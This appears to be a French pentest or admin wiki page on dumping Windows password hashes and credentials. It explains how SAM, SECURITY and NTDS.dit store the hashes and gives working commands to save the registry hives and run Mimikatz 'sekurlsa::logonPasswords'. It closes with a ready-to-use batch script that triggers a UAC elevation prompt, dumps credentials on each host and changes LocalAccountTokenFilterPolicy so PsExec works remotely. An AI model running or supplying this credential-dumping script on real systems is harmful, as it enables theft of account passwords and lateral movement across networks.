Récupération des mots de passe

Méthode de stockage des empreintes sur le disque

Sous Windows les mots de passe sont stockés sous 3 formes :

  • Les empreintes, LM et NTLM, des mots de passe des utilisateurs locaux sous Windows, dans la base SAM ;
  • Les empreintes, MsCache, des mots de passe des utilisateurs de domaine mis en cache, dans la ruche SECURITY ;
  • Les empreintes, LM et NTLM, des mots de passe des utilisateurs de domaine, dans le fichier NTDS.dit sur le contrôleur de domaine.

Ces empreintes sont chiffrées à l’aide de la “SysKey” ou “BootKey” contenue dans la ruche SYSTEM.

Récupération des empreintes sur le disque

L’accès à ces informations est limité aux administrateurs.

Il est possible de les récupérer simplement et sans danger :

  • En sauvegardant les ruches :
REM Windows 2000
regback.exe "C:\backtemp\SAM"      machine sam
regback.exe "C:\backtemp\SECURITY" machine security
regback.exe "C:\backtemp\SYSTEM"   machine system

REM Recent Windows
reg.exe save "HKLM\SAM"      sam
reg.exe save "HKLM\SECURITY" security
reg.exe save "HKLM\SYSTEM"   system
  • A l’aide du service de ShadowCopy :

Une fois ces empreintes, elles peuvent être déchifrées à l’aide de SamDump2.

Ces empreintes peuvent être récupérée à l’aide d’outils utilisant pour certains des méthodes risqués tel que l’injection de DLL :

Récupération des empreintes et mots de passe en mémoire

Pour faire fonctionner son mécanisme de SSO, Windows conserve en mémoire différent formats d’empreintes.

Par exemple, le stockage des empreintes faibles LM peut être désactivé, en revanche celles-ci sont calculées lors de l’ouverture de session.

Plus particulièrement, le gestionnaire Wdigest qui permet les authentifications des services Web en Basic doit conserver les mots de passe en clair.

L’outil Mimikatz permet de récupérer ces empreintes de manière sécurisée :

mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit" > output.txt

Script de récupération automatisée

@echo off

REM Windows XP doesn't have UAC so skip
for /f "tokens=3*" %%i in ('reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName ^| Find "ProductName"') do set WINVER=%%i %%j
echo %WINVER% | find "XP" > nul && goto commands

REM prompt for elevation
if "%1" == "UAC" goto elevation
(
  echo Set objShell = CreateObject^("Shell.Application"^)
  echo Set objFSO = CreateObject^("Scripting.FileSystemObject"^)
  echo strPath = objFSO.GetParentFolderName^(WScript.ScriptFullName^)
  echo If objFSO.FileExists^("%~0"^) Then
  echo   objShell.ShellExecute "cmd.exe", "/c """"%~0"" UAC ""%~dp0""""", "", "runas", 1
  echo Else
  echo   MsgBox "Script file not found"
  echo End If
) > "%TEMP%\UAC.vbs"
cscript //nologo "%TEMP%\UAC.vbs"
goto :eof

:elevation
del /q "%TEMP%\UAC.vbs"

:commands

REM Get hostname
FOR /F "usebackq" %%i IN (`hostname`) DO SET MYHOST=%%i

REM navigate back to this script's home folder
cd /D %~dp0

REM dump passwords
x64\mimikatz.exe   "privilege::debug" "sekurlsa::logonPasswords" "exit" > output64_%MYHOST%.txt
Win32\mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit" > output32_%MYHOST%.txt

REM Enable PsExec
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f